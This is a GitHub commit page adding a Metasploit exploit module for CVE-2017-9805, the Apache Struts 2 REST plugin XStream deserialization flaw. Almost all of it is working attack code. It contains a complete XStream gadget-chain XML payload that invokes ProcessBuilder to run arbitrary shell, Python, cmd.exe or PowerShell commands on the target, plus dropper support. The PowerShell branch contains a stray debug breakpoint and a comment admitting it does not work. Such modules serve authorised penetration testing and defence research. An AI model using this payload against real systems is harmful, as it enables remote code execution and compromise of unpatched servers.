Skip to content

Commit 8f1e353

Browse files
committed
Add Apache Struts 2 REST Plugin XStream RCE
1 parent a0181a4 commit 8f1e353

File tree

1 file changed

+192
-0
lines changed

1 file changed

+192
-0
lines changed
Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::CmdStager
12+
include Msf::Exploit::Powershell
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Apache Struts 2 REST Plugin XStream RCE',
17+
'Description' => %q{
18+
Apache Struts versions 2.5 through 2.5.12 using the REST plugin are
19+
vulnerable to a Java deserialization attack in the XStream library.
20+
},
21+
'Author' => [
22+
'Man Yue Mo', # Vulnerability discovery
23+
'wvu' # Metasploit module
24+
],
25+
'References' => [
26+
['CVE', '2017-9805'],
27+
['URL', 'https://struts.apache.org/docs/s2-052.html'],
28+
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],
29+
['URL', 'https://github.com/mbechler/marshalsec']
30+
],
31+
'DisclosureDate' => 'Sep 5 2017',
32+
'License' => MSF_LICENSE,
33+
'Platform' => ['unix', 'python', 'linux', 'win'],
34+
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
35+
'Privileged' => false,
36+
'Targets' => [
37+
['Unix (In-Memory)',
38+
'Platform' => 'unix',
39+
'Arch' => ARCH_CMD
40+
],
41+
['Python (In-Memory)',
42+
'Platform' => 'python',
43+
'Arch' => ARCH_PYTHON
44+
],
45+
['PowerShell (In-Memory)',
46+
'Platform' => 'win',
47+
'Arch' => [ARCH_X86, ARCH_X64]
48+
],
49+
['Linux (Dropper)',
50+
'Platform' => 'linux',
51+
'Arch' => [ARCH_X86, ARCH_X64]
52+
],
53+
['Windows (Dropper)',
54+
'Platform' => 'win',
55+
'Arch' => [ARCH_X86, ARCH_X64]
56+
]
57+
],
58+
'DefaultTarget' => 0
59+
))
60+
61+
register_options([
62+
Opt::RPORT(8080),
63+
OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])
64+
])
65+
end
66+
67+
def check
68+
if execute_command(random_crap)
69+
CheckCode::Appears
70+
else
71+
CheckCode::Safe
72+
end
73+
end
74+
75+
def exploit
76+
case target.name
77+
when /Unix/, /Python/, /PowerShell/
78+
execute_command(payload.encoded)
79+
else
80+
execute_cmdstager
81+
end
82+
end
83+
84+
#
85+
# Exploit methods
86+
#
87+
88+
def execute_command(cmd, opts = {})
89+
case target.name
90+
when /Unix/, /Linux/
91+
cmd = %W{/bin/sh -c #{cmd}}
92+
when /Python/
93+
cmd = %W{python -c #{cmd}}
94+
when /PowerShell/
95+
# This shit doesn't work yet
96+
require 'pry'; binding.pry
97+
cmd = %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}
98+
when /Windows/
99+
cmd = %W{cmd.exe /c #{cmd}}
100+
end
101+
102+
# Encode each command argument with HTML entities
103+
cmd.map! { |arg| Rex::Text.html_encode(arg) }
104+
105+
res = send_request_cgi(
106+
'method' => 'POST',
107+
'uri' => target_uri.path,
108+
'ctype' => 'application/xml',
109+
'data' => xstream_payload(cmd)
110+
)
111+
112+
check_response(res) || fail_with(Failure::UnexpectedReply, res.inspect)
113+
end
114+
115+
# java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO
116+
def xstream_payload(cmd)
117+
# XXX: <spillLength> and <read> need to be removed for Windows
118+
<<EOF
119+
<map>
120+
<entry>
121+
<jdk.nashorn.internal.objects.NativeString>
122+
<flags>0</flags>
123+
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
124+
<dataHandler>
125+
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
126+
<is class="javax.crypto.CipherInputStream">
127+
<cipher class="javax.crypto.NullCipher">
128+
<initialized>false</initialized>
129+
<opmode>0</opmode>
130+
<serviceIterator class="javax.imageio.spi.FilterIterator">
131+
<iter class="javax.imageio.spi.FilterIterator">
132+
<iter class="java.util.Collections$EmptyIterator"/>
133+
<next class="java.lang.ProcessBuilder">
134+
<command>
135+
<string>#{cmd.join('</string><string>')}</string>
136+
</command>
137+
<redirectErrorStream>false</redirectErrorStream>
138+
</next>
139+
</iter>
140+
<filter class="javax.imageio.ImageIO$ContainsFilter">
141+
<method>
142+
<class>java.lang.ProcessBuilder</class>
143+
<name>start</name>
144+
<parameter-types/>
145+
</method>
146+
<name>#{random_crap}</name>
147+
</filter>
148+
<next class="string">#{random_crap}</next>
149+
</serviceIterator>
150+
<lock/>
151+
</cipher>
152+
<input class="java.lang.ProcessBuilder$NullInputStream"/>
153+
<ibuffer></ibuffer>
154+
<done>false</done>
155+
<ostart>0</ostart>
156+
<ofinish>0</ofinish>
157+
<closed>false</closed>
158+
</is>
159+
<consumed>false</consumed>
160+
</dataSource>
161+
<transferFlavors/>
162+
</dataHandler>
163+
<dataLen>0</dataLen>
164+
</value>
165+
</jdk.nashorn.internal.objects.NativeString>
166+
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
167+
</entry>
168+
<entry>
169+
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
170+
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
171+
</entry>
172+
</map>
173+
EOF
174+
end
175+
176+
#
177+
# Utility methods
178+
#
179+
180+
def check_response(res)
181+
res && res.code == 500 && res.body.include?(error_string)
182+
end
183+
184+
def error_string
185+
'java.lang.String cannot be cast to java.security.Provider$Service'
186+
end
187+
188+
def random_crap
189+
Rex::Text.rand_text_alphanumeric(rand(42) + 1)
190+
end
191+
192+
end

0 commit comments

Comments
 (0)